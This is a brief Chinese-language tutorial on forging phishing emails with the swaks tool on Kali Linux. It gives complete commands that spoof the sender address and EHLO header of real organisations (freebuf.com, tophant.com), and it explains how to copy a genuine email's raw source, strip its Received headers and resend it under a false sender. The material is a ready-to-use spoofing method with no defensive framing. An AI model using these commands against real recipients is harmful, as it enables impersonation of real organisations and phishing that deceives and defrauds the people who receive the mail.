钓鱼邮件的伪造

kali上的swaks工具

swaks --to xxxx@qq.com --from info@freebuf.com --ehlo freebuf.com --body hello --header "Subject: hello"

其中：

–from <要显示的发件人邮箱>

–ehlo <伪造的邮件ehlo头>

–body <邮件正文>

–header <邮件头信息，subject为邮件标题>

root@kali:~# swaks --to xxxx@qq.com --from info@freebuf.com --ehlo freebuf.com --body hello --header "Subject: hello"

伪造其他邮件内容

点击显示邮件原文，把原文复制出来，保存为email.txt

其中的received可以都删除，该项为接收信息，发信中不需要。to项也可以删除，可以直接用swaks –to来代替。

swaks --data ./Desktop/email.txt --to xxxx@qq.com --from services@tophant.com